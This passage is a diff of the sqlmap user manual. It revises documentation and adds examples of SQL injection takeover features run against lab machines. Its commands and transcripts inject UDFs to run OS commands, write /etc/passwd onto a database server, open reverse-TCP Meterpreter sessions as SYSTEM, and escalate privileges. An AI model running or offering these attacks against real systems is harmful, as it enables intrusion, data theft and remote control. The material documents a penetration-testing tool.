-library to speed up the sqlmap algorithmic operations.
+
+You can also choose to install  library to speed up the sqlmap algorithmic operations.
 
 
 Scenario
@@ -192,6 +193,14 @@ execution depending on the underlying back-end database management system
 and the session user privileges.
 
 
+Demo
+
+
      
+You can watch several demo videos, they are hosted on  and linked
+from .
+
 
 Features
 
@@ -333,11 +342,10 @@ inject it and how to pack the SQL payload accordingly.
 Takeover features
 
 
      
-Some of these techniques are detailed in white paper
+Some of these techniques are detailed in the white paper
  and
-slides  and in the
+slide deck .
 
 
@@ -537,9 +545,9 @@ Options:
     -a USERAGENTSFILE   Load a random HTTP User-Agent header from file
     --referer=REFERER   HTTP Referer header
     --headers=HEADERS   Extra HTTP headers newline separated
-    --auth-type=ATYPE   HTTP Authentication type (Basic, Digest or NTLM)
-    --auth-cred=ACRED   HTTP Authentication credentials (name:password)
-    --auth-cert=ACERT   HTTPs Authentication certificate (key_file,cert_file)
+    --auth-type=ATYPE   HTTP authentication type (Basic, Digest or NTLM)
+    --auth-cred=ACRED   HTTP authentication credentials (name:password)
+    --auth-cert=ACERT   HTTP authentication certificate (key_file,cert_file)
     --proxy=PROXY       Use a HTTP proxy to connect to the target url
     --ignore-proxy      Ignore system default HTTP proxy
     --threads=THREADS   Maximum number of concurrent HTTP requests (default 1)
@@ -679,7 +687,7 @@ Example on a MySQL 5.0.67 target (verbosity level 1):
 
 $ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" -v 1
 
-[hh:mm:58] [INFO] using '/home/inquis/software/sqlmap/subversion/trunk/sqlmap/output/172.16.213.131/session' as session file
+[hh:mm:58] [INFO] using '/home/inquis/sqlmap/output/172.16.213.131/session' as session file
 [hh:mm:58] [INFO] testing connection to the target url
 [hh:mm:58] [INFO] testing if the url is stable, wait a few seconds
 [hh:mm:59] [INFO] url is stable
@@ -716,7 +724,7 @@ $ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" -v 2
 [hh:mm:22] [DEBUG] setting the HTTP method to GET
 [hh:mm:22] [DEBUG] creating HTTP requests opener object
 [hh:mm:22] [DEBUG] parsing XML queries file
-[hh:mm:22] [INFO] using '/home/inquis/software/sqlmap/subversion/trunk/sqlmap/output/172.16.213.131/session' as session file
+[hh:mm:22] [INFO] using '/home/inquis/sqlmap/output/172.16.213.131/session' as session file
 [hh:mm:22] [INFO] testing connection to the target url
 [hh:mm:22] [INFO] testing if the url is stable, wait a few seconds
 [hh:mm:23] [INFO] url is stable
@@ -756,7 +764,7 @@ $ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" -v 3
 [hh:mm:53] [DEBUG] setting the HTTP method to GET
 [hh:mm:53] [DEBUG] creating HTTP requests opener object
 [hh:mm:53] [DEBUG] parsing XML queries file
-[hh:mm:53] [INFO] using '/home/inquis/software/sqlmap/subversion/trunk/sqlmap/output/172.16.213.131/session' as session file
+[hh:mm:53] [INFO] using '/home/inquis/sqlmap/output/172.16.213.131/session' as session file
 [hh:mm:53] [INFO] testing connection to the target url
 [hh:mm:53] [TRAFFIC OUT] HTTP request:
 GET /sqlmap/mysql/get_int.php?id=1 HTTP/1.1
@@ -764,7 +772,7 @@ Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
 Host: 172.16.213.131
 Accept-language: en-us,en;q=0.5
 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
-User-agent: sqlmap/0.8-rc7 (http://sqlmap.sourceforge.net)
+User-agent: sqlmap/0.8
 Connection: close
 [...]
 [hh:mm:54] [INFO] testing MySQL
@@ -774,7 +782,7 @@ Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
 Host: 172.16.213.131
 Accept-language: en-us,en;q=0.5
 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
-User-agent: sqlmap/0.8-rc7 (http://sqlmap.sourceforge.net)
+User-agent: sqlmap/0.8
 Connection: close
 [...]
 
@@ -793,7 +801,7 @@ $ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" -v 4
 [hh:mm:20] [DEBUG] setting the HTTP method to GET
 [hh:mm:20] [DEBUG] creating HTTP requests opener object
 [hh:mm:20] [DEBUG] parsing XML queries file
-[hh:mm:20] [INFO] using '/home/inquis/software/sqlmap/subversion/trunk/sqlmap/output/172.16.213.131/session' as session file
+[hh:mm:20] [INFO] using '/home/inquis/sqlmap/output/172.16.213.131/session' as session file
 [hh:mm:20] [INFO] testing connection to the target url
 [hh:mm:20] [TRAFFIC OUT] HTTP request:
 GET /sqlmap/mysql/get_int.php?id=1 HTTP/1.1
@@ -801,7 +809,7 @@ Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
 Host: 172.16.213.131
 Accept-language: en-us,en;q=0.5
 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
-User-agent: sqlmap/0.8-rc7 (http://sqlmap.sourceforge.net)
+User-agent: sqlmap/0.8
 Connection: close
 
 [hh:mm:20] [TRAFFIC IN] HTTP response (OK - 200):
@@ -828,7 +836,7 @@ $ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" -v 5
 [hh:mm:47] [DEBUG] setting the HTTP method to GET
 [hh:mm:47] [DEBUG] creating HTTP requests opener object
 [hh:mm:47] [DEBUG] parsing XML queries file
-[hh:mm:47] [INFO] using '/home/inquis/software/sqlmap/subversion/trunk/sqlmap/output/172.16.213.131/session' as session file
+[hh:mm:47] [INFO] using '/home/inquis/sqlmap/output/172.16.213.131/session' as session file
 [hh:mm:47] [INFO] testing connection to the target url
 [hh:mm:47] [TRAFFIC OUT] HTTP request:
 GET /sqlmap/mysql/get_int.php?id=1 HTTP/1.1
@@ -836,7 +844,7 @@ Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
 Host: 172.16.213.131
 Accept-language: en-us,en;q=0.5
 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
-User-agent: sqlmap/0.8-rc7 (http://sqlmap.sourceforge.net)
+User-agent: sqlmap/0.8
 Connection: close
 
 [hh:mm:47] [TRAFFIC IN] HTTP response (OK - 200):
@@ -1118,7 +1126,7 @@ back-end DBMS:    Oracle
 HTTP Cookie header
 
 
      
-Options: --cookie, --drop-set-cookie and --cookie-urlencode
+Options: --cookie, --cookie-urlencode and --drop-set-cookie
 
 
      
 This feature can be useful in two scenarios:
@@ -1370,7 +1378,7 @@ to provide them from the configuration INI file. Have a look at the sample
 sqlmap.conf file.
 
 
-HTTPs Basic, Digest and NTLM authentications
+HTTP Basic, Digest and NTLM authentications
 
 
      
 Options: --auth-type and --auth-cred
@@ -1426,7 +1434,7 @@ Connection: close
 
 
 
-HTTPs Certificate authentication
+HTTP Certificate authentication
 
 
      
 Option: --auth-cert
@@ -1450,7 +1458,7 @@ $ python sqlmap.py -u "http://www.example.com/process.php?id=1" \
 HTTP proxy
 
 
      
-Option: --proxy
+Option: --proxy and --ignore-proxy
 
 
      
 It is possible to provide an anonymous HTTP proxy address to pass by the
@@ -1487,15 +1495,10 @@ $ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" \
 Note that 8118 is the default Privoxy port, adapt it to your
 settings.
 
-
-Ignoring system default HTTP proxy
-
 
      
-Option: --ignore-proxy
-
-This option should be used in cases like when you want to run sqlmap
-against the machine inside a local area network skipping default
-usage of a system-wide set HTTP proxy server.
+The option --ignore-proxy should be used in cases like
+when you want to run sqlmap against the machine inside a local area
+network skipping default usage of a system-wide set HTTP proxy server.
 
 
 Concurrent HTTP requests
@@ -2102,7 +2105,7 @@ stacked queries support:    'id=1; SELECT pg_sleep(5);-- AND 3128=3128'
 Example on a Microsoft SQL Server 2005 Service Pack 0 target:
 
 
-$ python sqlmap.py -u "http://192.168.123.36/sqlmap/get_str.asp?name=luther" \
+$ python sqlmap.py -u "http://172.16.213.36/sqlmap/get_str.asp?name=luther" \
   --stacked-test -v 1
 
 [...]
@@ -2165,7 +2168,7 @@ time based blind sql injection payload:    'id=1; SELECT pg_sleep(5);-- AND 9644
 Example on a Microsoft SQL Server 2005 Service Pack 0 target:
 
 
-$ python sqlmap.py -u "http://192.168.123.36/sqlmap/get_str.asp?name=luther" \
+$ python sqlmap.py -u "http://172.16.213.36/sqlmap/get_str.asp?name=luther" \
   --time-test -v 1
 
 [...]
@@ -2240,7 +2243,7 @@ back-end DBMS: PostgreSQL
 [hh:mm:51] [INFO] testing inband sql injection on parameter 'id' with ORDER BY clause 
 bruteforcing technique
 [hh:mm:51] [INFO] the target url could be affected by an inband sql injection vulnerability
-valid union:    'http://192.168.1.150:80/sqlmap/pgsql/get_int.php?id=1 ORDER BY 3-- AND 
+valid union:    'http://172.16.213.150:80/sqlmap/pgsql/get_int.php?id=1 ORDER BY 3-- AND 
 1262=1262'
 
 
@@ -2559,7 +2562,7 @@ back-end DBMS:	active fingerprint: Microsoft SQL Server 2000
 Example on a Microsoft SQL Server 2005 Service Pack 0 target:
 
 
-$ python sqlmap.py -u "http://192.168.123.36/sqlmap/get_str.asp?name=luther" -v 1 -f
+$ python sqlmap.py -u "http://172.16.213.36/sqlmap/get_str.asp?name=luther" -v 1 -f
 
 [...]
 [hh:mm:41] [WARNING] the back-end DMBS is not PostgreSQL
@@ -2649,7 +2652,7 @@ back-end DBMS:	active fingerprint: Microsoft SQL Server 2000
 Example on a Microsoft SQL Server 2005 Service Pack 0 target:
 
 
-$ python sqlmap.py -u "http://192.168.123.36/sqlmap/get_str.asp?name=luther" -v 2 -f -b
+$ python sqlmap.py -u "http://172.16.213.36/sqlmap/get_str.asp?name=luther" -v 2 -f -b
 
 [...]
 [hh:mm:03] [WARNING] the back-end DMBS is not PostgreSQL
@@ -2750,7 +2753,7 @@ Microsoft SQL Server  2000 - 8.00.194 (Intel X86)
 Example on a Microsoft SQL Server 2005 Service Pack 0 target:
 
 
-$ python sqlmap.py -u "http://192.168.123.36/sqlmap/get_str.asp?name=luther" -v 0 -b
+$ python sqlmap.py -u "http://172.16.213.36/sqlmap/get_str.asp?name=luther" -v 0 -b
 
 banner:
 ---
@@ -3518,15 +3521,15 @@ which table(s) of database 'testdb'?
 [s]kip
 [q]uit
 > 
-[19:18:23] [INFO] fetching columns 'surname' entries for table 'users' on 
+[hh:mm:23] [INFO] fetching columns 'surname' entries for table 'users' on 
 database 'testdb'
-[19:18:23] [INFO] fetching number of columns 'surname' entries for table 
+[hh:mm:23] [INFO] fetching number of columns 'surname' entries for table 
 'users' on database 'testdb'
-[19:18:23] [INFO] retrieved: 4
-[19:18:23] [INFO] retrieved: blissett
-[19:18:23] [INFO] retrieved: bunny
-[19:18:23] [INFO] retrieved: ming
-[19:18:23] [INFO] retrieved: nameisnull
+[hh:mm:23] [INFO] retrieved: 4
+[hh:mm:23] [INFO] retrieved: blissett
+[hh:mm:23] [INFO] retrieved: bunny
+[hh:mm:23] [INFO] retrieved: ming
+[hh:mm:23] [INFO] retrieved: nameisnull
 Database: testdb
 Table: users
 [4 entries]
@@ -3566,7 +3569,7 @@ Table: users
 | 5  |                                              | nameisnull        |
 +----+----------------------------------------------+-------------------+
 
-[hh:mm:59] [INFO] Table 'public.users' dumped to CSV file '/software/sqlmap/output/
+[hh:mm:59] [INFO] Table 'public.users' dumped to CSV file '/home/inquis/sqlmap/output/
 172.16.213.131/dump/public/users.csv'
 [...]
 
@@ -3742,7 +3745,7 @@ considered a system database because some database administrators use it
 as a users' database.
 
 
-Execute your SQL statement
+Execute custom SQL statement
 
 
      
 Options: --sql-query and --sql-shell
@@ -4124,8 +4127,51 @@ support when the back-end DBMS is PostgreSQL.
 
 
      
 Options: --udf-inject and --shared-lib
-#TODO
 
+
      
+You can inject your own user-defined functions (UDFs) by compiling a
+MySQL or PostgreSQL shared library, DLL for Windows and shared object for
+Linux/Unix, then provide sqlmap with the path where the shared library
+is stored locally on your machine. sqlmap will then ask you some
+questions, upload the shared library on the database server file system,
+create the user-defined function(s) from it and, depending on your
+options, execute them. When you are finished using the injected UDFs,
+sqlmap can also remove them from the database for you.
+
+
      
+Example on a PostgreSQL 8.4:
+
+
+$ python sqlmap.py -u http://172.16.213.131/sqlmap/pgsql/get_int8.4.php?id=1 --udf-inject -v 0
+
+[...]
+web application technology: PHP 5.2.6, Apache 2.2.9
+back-end DBMS: PostgreSQL
+
+which is the local path of the shared library? udf/postgresql/linux/8.4/lib_postgresqludf_sys.so
+how many user-defined functions do you want to create from the shared library? 1
+what is the name of the UDF number 1? sys_eval
+how many input parameters takes UDF 'sys_eval'? (default: 1) 
+what is the data-type of input parameter number 1? (default: text) 
+what is the data-type of the return value? (default: text) 
+do you want to call your injected user-defined functions now? [Y/n/q] y
+which UDF do you want to call?
+[1] sys_eval
+[q] Quit
+> 1
+what is the value of the parameter number 1 (data-type: text)? echo test
+do you want to retrieve the return value of the UDF? [Y/n] 
+return value:    'test'
+
+do you want to call this or another injected UDF? [Y/n] n
+do you want to remove UDF 'sys_eval'? [Y/n] 
+[12:00:10] [WARNING] remember that UDF shared object files saved on the file system can only 
+be deleted manually
+
+
+
      
+If you want, you can specify the shared library local file system path
+via command line using --shared-lib option.
 
 File system access
 
@@ -4141,11 +4187,12 @@ PostgreSQL or Microsoft SQL Server, and the session user has the needed
 privileges to abuse database specific functionalities and architectural
 weaknesses.
 The file specified can be either a text or a binary file. sqlmap will
-handle either cases automatically.
+handle it automatically.
 
 
      
-These techniques are detailed in white paper
-.
+These techniques are detailed in the white paper
+.
 
 
      
 Example on a PostgreSQL 8.3.5 target to retrieve a text file:
@@ -4258,16 +4305,17 @@ output/172.16.213.131/files/C__example.exe: PE32 executable for MS Windows (GUI)
 Options: --write-file and --dest-file
 
 
      
-It is possible to upload a local file to the underlying file system when
-the back-end database management system is either MySQL, PostgreSQL or
-Microsoft SQL Server, and the session user has the needed privileges to
+It is possible to upload a local file to the database server file system
+when the back-end database management system is either MySQL, PostgreSQL
+or Microsoft SQL Server, and the session user has the needed privileges to
 abuse database specific functionalities and architectural weaknesses.
 The file specified can be either a text or a binary file. sqlmap will
-handle either cases automatically.
+handle it automatically.
 
 
      
-These techniques are detailed in white paper
-.
+These techniques are detailed in the white paper
+.
 
 
      
 Example on a MySQL 5.0.67 target to upload a binary UPX-compressed
@@ -4303,6 +4351,32 @@ written on the back-end DBMS file system? [Y/n] y
 same size as the local file '/tmp/nc.exe.packed'
 
 
+
      
+Example on a PostgreSQL 8.4 target to upload a text file:
+
+
+$ python sqlmap.py -u http://172.16.213.131/sqlmap/pgsql/get_int8.4.php?id=1 \
+  --write-file /etc/passwd --dest-file /tmp/writtenfrompgsql -v 1
+
+[...]
+web application technology: PHP 5.2.6, Apache 2.2.9
+back-end DBMS: PostgreSQL
+
+[hh:mm:01] [INFO] testing stacked queries support on parameter 'id'
+[hh:mm:01] [INFO] detecting back-end DBMS version from its banner
+[hh:mm:01] [INFO] retrieved: 8.4.2
+[hh:mm:07] [INFO] the web application supports stacked queries on parameter 'id'
+[hh:mm:07] [INFO] fingerprinting the back-end DBMS operating system
+[hh:mm:07] [INFO] retrieved: 0
+[hh:mm:07] [INFO] retrieved: 0
+[hh:mm:07] [INFO] the back-end DBMS operating system is Linux
+do you want confirmation that the file '/tmp/writtenfrompgsql' has been successfully 
+written on the back-end DBMS file system? [Y/n] 
+[hh:mm:14] [INFO] retrieved: 2264
+[hh:mm:14] [INFO] the file has been successfully written and its size is 2264 bytes, 
+same size as the local file '/etc/passwd'
+
+
 
 Operating system access
 
@@ -4320,24 +4394,25 @@ weaknesses.
 
 
      
 On MySQL and PostgreSQL, sqlmap uploads (via the file upload functionality
-demonstrated above) a shared library (binary file) containing two
+explained above) a shared library (binary file) containing two
 user-defined functions, sys_exec() and sys_eval(), then
 it creates these two functions on the database and call one of them to
 execute the specified command, depending on the user's choice to display
 the standard output or not.
 On Microsoft SQL Server, sqlmap abuses the xp_cmshell stored
-procedure: if it's disable sqlmap re-enables it, if it does not exist,
+procedure: if it's disabled, sqlmap re-enables it; if it does not exist,
 sqlmap creates it from scratch.
 
 
      
 If the user wants to retrieve the command standard output, sqlmap will use
 one of the enumeration SQL injection techniques (blind or inband) to
-retrieve it, or in case of stacked query SQL injection technique 
+retrieve it or, in case of stacked query SQL injection technique,
 sqlmap will execute the command without returning anything to the user.
 
 
      
-These techniques are detailed in white paper
-.
+These techniques are detailed in the white paper
+.
 
 
      
 It is possible to specify a single command to be executed with the
@@ -4417,7 +4492,7 @@ nt authority\network service
 
      
 It is also possible to simulate a real shell where you can type as many
 arbitrary commands as you wish. The option is --os-shell and has
-the same TAB completion and history functionalities as provided by
+the same TAB completion and history functionalities like
 --sql-shell.
 
 
      
@@ -4620,7 +4695,7 @@ Ethernet adapter Local Area Connection 2:
    Connection-specific DNS Suffix  . : localdomain
    IP Address. . . . . . . . . . . . : 172.16.213.131
    Subnet Mask . . . . . . . . . . . : 255.255.255.0
----Default Gateway . . . . . . . . . : 192.168.1.1
+---Default Gateway . . . . . . . . . : 172.16.213.1
 
 os-shell> exit
 [hh:mm:41] [INFO] cleaning up the database management system
@@ -4640,107 +4715,121 @@ user-defined functions are already created, if so, it asks the user if he
 wants to recreate them or keep them and save time.
 
 
-Prompt for an out-of-band shell, meterpreter or VNC
+Prompt for an out-of-band shell, Meterpreter or VNC
 
 
      
 Options: --os-pwn, --priv-esc, --msf-path and --tmp-path
 
 
      
-It is possible to establish an out-of-band TCP stateful channel
-between the attacker and the underlying operating system by using the
-exploited SQL injection as a stepping stone. This is implemented for MySQL,
-PostgreSQL and Microsoft SQL Server.
-sqlmap relies on the  to perform this attack, so you need to have it already
-on your system - it's free and can be downloaded from the homepage. It is
-required to use Metasploit Framework version 3.3.3 or above.
+It is possible to establish an out-of-band stateful TCP connection
+between the user machine and the database server underlying operating
+system. This channel can be an interactive command prompt, a Meterpreter
+session or a graphical user interface (VNC) session as per user's choice.
+sqlmap relies on Metasploit to create the shellcode and implements four
+different techniques to execute it on the database server. These
+techniques are:
+
+Database in-memory execution of the Metasploit's shellcode
+via sqlmap own user-defined function sys_bineval(). Supported on
+MySQL and PostgreSQL.
+Upload and execution of a Metasploit's stand-alone payload
+stager via sqlmap own user-defined function sys_exec() on
+MySQL and PostgreSQL or via xp_cmdshell() on Microsoft SQL
+Server.
+Execution of Metasploit's shellcode by performing a SMB
+reflection attack () with a UNC path request from the database server to
+the user's machine where the Metasploit smb_relay server exploit
+runs.
+Database in-memory execution of the Metasploit's shellcode by
+exploiting Microsoft SQL Server 2000 and 2005
+sp_replwritetovarbin stored procedure heap-based buffer
+overflow () with automatic DEP bypass.
+
 
 
      
 Note that this feature is not supported by sqlmap running on Windows
-because Metasploit's msfconsole and msfcli are not supported on the native
-Windows Ruby interpreter.
+because it relies on Metasploit's msfcli which is not
+available for Windows.
 
 
      
-These techniques are detailed in white paper
-.
+These techniques are detailed in the white paper
+ and in the
+slide deck .
 
 
      
-Example on a MySQL 5.0.67 target:
+Example on a MySQL 5.1 target:
 
 
-$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.aspx?id=1" \
+$ python sqlmap.py -u "http://172.16.213.128/sqlmap/mysql/get_int_51.aspx?id=1" \
   --os-pwn -v 1 --msf-path /home/inquis/software/metasploit
 
 [...]
-[hh:mm:17] [INFO] the back-end DBMS is MySQL
 web server operating system: Windows 2003 or 2008
 web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
 back-end DBMS: MySQL >= 5.0.0
 
-[hh:mm:17] [INFO] testing stacked queries support on parameter 'id'
-[hh:mm:17] [INFO] detecting back-end DBMS version from its banner
-[hh:mm:17] [INFO] retrieved: 5.0.67
-[hh:mm:23] [INFO] the web application supports stacked queries on parameter 'id'
-[hh:mm:23] [INFO] fingerprinting the back-end DBMS operating system
-[hh:mm:23] [INFO] retrieved: C
-[hh:mm:23] [INFO] the back-end DBMS operating system is Windows
-[hh:mm:23] [INFO] testing if current user is DBA
-[hh:mm:23] [INFO] retrieved: 1
-[hh:mm:23] [INFO] checking if sys_exec UDF already exist
-[hh:mm:23] [INFO] retrieved: 1
-[hh:mm:24] [INFO] sys_exec UDF already exists, do you want to overwrite it? [y/N] N
-[hh:mm:24] [INFO] checking if sys_eval UDF already exist
-[hh:mm:24] [INFO] retrieved: 1
-[hh:mm:24] [INFO] sys_eval UDF already exists, do you want to overwrite it? [y/N] N
-[hh:mm:24] [INFO] creating Metasploit Framework 3 payload stager
-[hh:mm:24] [INFO] which connection type do you want to use?
-[1] Bind TCP (default)
-[2] Bind TCP (No NX)
-[3] Reverse TCP
-[4] Reverse TCP (No NX)
+[hh:mm:09] [INFO] testing stacked queries support on parameter 'id'
+[hh:mm:09] [INFO] detecting back-end DBMS version from its banner
+[hh:mm:09] [INFO] retrieved: 5.1.30
+[hh:mm:18] [INFO] the web application supports stacked queries on parameter 'id'
+[hh:mm:18] [INFO] fingerprinting the back-end DBMS operating system
+[hh:mm:18] [INFO] retrieved: C
+[hh:mm:19] [INFO] the back-end DBMS operating system is Windows
+[hh:mm:19] [INFO] testing if current user is DBA
+[hh:mm:19] [INFO] retrieved: 1
+[hh:mm:20] [INFO] checking if UDF 'sys_bineval' already exist
+[hh:mm:20] [INFO] retrieved: 0
+[hh:mm:21] [INFO] checking if UDF 'sys_exec' already exist
+[hh:mm:21] [INFO] retrieved: 0
+[hh:mm:21] [INFO] retrieving MySQL base directory absolute path
+[hh:mm:21] [INFO] retrieved: C:\Program Files\MySQL\MySQL Server 5.1\
+[hh:mm:46] [WARNING] this will only work if the database administrator created manually 
+the 'C:/Program Files/MySQL/MySQL Server 5.1/lib/plugin' subfolder
+[hh:mm:47] [INFO] creating UDF 'sys_bineval' from the binary UDF file
+[hh:mm:47] [INFO] creating UDF 'sys_exec' from the binary UDF file
+how do you want to execute the Metasploit shellcode on the back-end database underlying 
+operating system?
+[1] Via UDF 'sys_bineval' (in-memory way, anti-forensics, default)
+[2] Stand-alone payload stager (file system way)
 > 1
-[hh:mm:24] [INFO] which is the back-end DBMS address? [172.16.213.131] 172.16.213.131
-[hh:mm:24] [INFO] which remote port numer do you want to use? [61588] 61588
-[hh:mm:24] [INFO] which payload do you want to use?
-[1] Reflective Meterpreter (default)
-[2] PatchUp Meterpreter (only from Metasploit development revision 6742)
-[3] Shell
-[4] Reflective VNC
-[5] PatchUp VNC (only from Metasploit development revision 6742)
+[hh:mm:51] [INFO] creating Metasploit Framework 3 multi-stage shellcode 
+which connection type do you want to use?
+[1] Reverse TCP: Connect back from the database host to this machine (default)
+[2] Reverse TCP: Try to connect back from the database host to this machine, on all ports 
+between the specified and 65535
+[3] Bind TCP: Listen on the database host for a connection
 > 1
-[hh:mm:24] [INFO] which payload encoding do you want to use?
-[1] No Encoder
-[2] Alpha2 Alphanumeric Mixedcase Encoder
-[3] Alpha2 Alphanumeric Uppercase Encoder
-[4] Avoid UTF8/tolower
-[5] Call+4 Dword XOR Encoder
-[6] Single-byte XOR Countdown Encoder
-[7] Variable-length Fnstenv/mov Dword XOR Encoder
-[8] Polymorphic Jump/Call XOR Additive Feedback Encoder
-[9] Non-Alpha Encoder
-[10] Non-Upper Encoder
-[11] Polymorphic XOR Additive Feedback Encoder (default)
-[12] Alpha2 Alphanumeric Unicode Mixedcase Encoder
-[13] Alpha2 Alphanumeric Unicode Uppercase Encoder
-> 11
-[hh:mm:24] [INFO] creation in progress .................. done
-[hh:mm:42] [INFO] compression in progress . quit unexpectedly with return code 1
-[hh:mm:43] [INFO] failed to compress the file because you provided a Metasploit version 
-above 3.3-dev revision 6681. This will not inficiate the correct execution of sqlmap. 
-It might only slow down a bit the execution of sqlmap
-[hh:mm:43] [INFO] uploading payload stager to 'C:/WINDOWS/Temp/sqlmapmsfgcpge.exe'
-[hh:mm:44] [INFO] running Metasploit Framework 3 command line interface locally, wait..
-[hh:mm:44] [INFO] running Metasploit Framework 3 payload stager remotely, wait..
+which is the local address? [172.16.213.1] 
+which local port number do you want to use? [47776] 
+which payload do you want to use?
+[1] Meterpreter (default)
+[2] Shell
+[3] VNC
+> 1
+[hh:mm:55] [INFO] creation in progress .............................................. done
+[hh:mm:41] [INFO] running Metasploit Framework 3 command line interface locally, wait..
 [*] Please wait while we load the module tree...
-[*] Started bind handler
+[*] Started reverse handler on 172.16.213.1:47776 
 [*] Starting the payload handler...
-[*] Transmitting intermediate stager for over-sized stage...(216 bytes)
-[*] Sending stage (718336 bytes)
-[*] Meterpreter session 1 opened (192.168.1.161:47832 -> 172.16.213.131:61588)
+[hh:mm:22] [INFO] running Metasploit Framework 3 shellcode remotely via UDF 'sys_bineval', wait..
+[*] Sending stage (748032 bytes)
+[*] Meterpreter session 1 opened (172.16.213.1:47776 -> 172.16.213.128:2176)
 
+meterpreter > Loading extension espia...success.
+meterpreter > Loading extension incognito...success.
 meterpreter > Loading extension priv...success.
-meterpreter > getuid
-Server username: NT AUTHORITY\SYSTEM
+meterpreter > Loading extension sniffer...success.
+meterpreter > Computer: W2K3DEV
+OS      : Windows .NET Server (Build 3790, Service Pack 2).
+Arch    : x86
+Language: en_US
+meterpreter > Server username: NT AUTHORITY\SYSTEM
 meterpreter > ipconfig
 
 MS TCP Loopback interface
@@ -4750,79 +4839,76 @@ Netmask     : 255.0.0.0
 
 
 
-VMware Accelerated AMD PCNet Adapter
-Hardware MAC: 00:0c:29:29:ee:86
-IP Address  : 172.16.213.131
+VMware Accelerated AMD PCNet Adapter #2
+Hardware MAC: 00:0c:29:86:69:1b
+IP Address  : 172.16.213.128
 Netmask     : 255.255.255.0
 
 
-meterpreter > pwd
-C:\Program Files\MySQL\MySQL Server 5.0\Data
 meterpreter > exit
+
+[hh:mm:52] [INFO] cleaning up the database management system
+do you want to remove UDF 'sys_bineval'? [Y/n] 
+do you want to remove UDF 'sys_exec'? [Y/n] 
+[hh:mm:54] [INFO] database management system cleanup finished
+[hh:mm:54] [WARNING] remember that UDF dynamic-link library files and Metasploit related 
+files in the temporary folder saved on the file system can only be deleted manually
 
 
 
      
 By default MySQL on Windows runs as SYSTEM, however PostgreSQL
-run as a low-privileged user postgres on both Windows and Linux.
+runs as a low-privileged user postgres on both Windows and Linux.
 Microsoft SQL Server 2000 by default runs as SYSTEM, whereas
 Microsoft SQL Server 2005 and 2008 run most of the times as NETWORK
 SERVICE and sometimes as LOCAL SERVICE.
 
-It is possible to provide sqlmap with the --priv-esc option to
-abuse Windows access tokens and escalate privileges to SYSTEM
-within the Meterpreter session created if the underlying operating system
-is not patched against Microsoft Security Bulletin
-.
-sqlmap performs the
-
-technique by uploading 
-local exploit and using it to call the Metasploit's payload stager
-executable. sqlmap uses also the Metasploit's Meterpreter
-
-extension to abused Windows access tokens in conjunction to Churrasco
-stand-alone exploit if the user wants so.
-
-
      
-Note that this feature is not supported by sqlmap installed from the
-DEB package because it relies on Churrasco, which is not explicitly free
-software, so it has not been included in the package.
-
-
      
-This technique is detailed in white paper
-.
+It is possible to provide sqlmap with the --priv-esc
+option to perform a database process' user privilege escalation
+via Metasploit's getsystem command which include, among others,
+the  technique () or via  by using either Meterpreter's
+ extension or 
+() stand-alone executable as per user's choice.
 
 
      
 Example on a Microsoft SQL Server 2005 Service Pack 0 running as
 NETWORK SERVICE on the target:
 
 
-$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mssql/iis/get_str2.asp?name=luther" \
+$ python sqlmap.py -u "http://172.16.213.128/sqlmap/mssql/iis/get_int.asp?id=1" \
   --os-pwn -v 1 --msf-path /home/inquis/software/metasploit --priv-esc
 
 [...]
-[hh:mm:17] [INFO] the back-end DBMS is Microsoft SQL Server
 web server operating system: Windows 2000
 web application technology: ASP.NET, Microsoft IIS 6.0, ASP
 back-end DBMS: Microsoft SQL Server 2005
 
-[hh:mm:17] [INFO] testing stacked queries support on parameter 'name'
-[hh:mm:22] [INFO] the web application supports stacked queries on parameter 'name'
-[hh:mm:22] [INFO] testing if current user is DBA
-[hh:mm:22] [INFO] retrieved: 1
-[hh:mm:23] [INFO] checking if xp_cmdshell extended procedure is available, wait..
-[hh:mm:29] [INFO] xp_cmdshell extended procedure is available
-[hh:mm:29] [INFO] creating Metasploit Framework 3 payload stager
+[hh:mm:47] [INFO] testing stacked queries support on parameter 'id'
+[hh:mm:52] [INFO] the web application supports stacked queries on parameter 'id'
+[hh:mm:52] [INFO] testing if current user is DBA
+[hh:mm:52] [INFO] retrieved: 1
+[hh:mm:52] [INFO] checking if xp_cmdshell extended procedure is available, wait..
+[hh:mm:01] [INFO] xp_cmdshell extended procedure is available
+[hh:mm:01] [INFO] creating Metasploit Framework 3 payload stager
 which connection type do you want to use?
-[1] Bind TCP (default)
-[2] Bind TCP (No NX)
-[3] Reverse TCP
-[4] Reverse TCP (No NX)
-> 3
-which is the local address? [192.168.1.161] 
-which local port numer do you want to use? [61499] 
-[hh:mm:54] [INFO] forcing Metasploit payload to Meterpreter because it is the only payload 
-that can be used to abuse Windows Impersonation Tokens via Meterpreter 'incognito' 
-extension to privilege escalate
+[1] Reverse TCP: Connect back from the database host to this machine (default)
+[2] Reverse TCP: Try to connect back from the database host to this machine, on all ports 
+between the specified and 65535
+[3] Bind TCP: Listen on the database host for a connection
+> 1
+which is the local address? [172.16.213.1] 
+which local port number do you want to use? [44780] 
+[hh:mm:52] [INFO] forcing Metasploit payload to Meterpreter because it is the only payload 
+that can be used to escalate privileges, either via 'incognito' extension or via 
+'getsystem' command
 which payload encoding do you want to use?
 [1] No Encoder
 [2] Alpha2 Alphanumeric Mixedcase Encoder
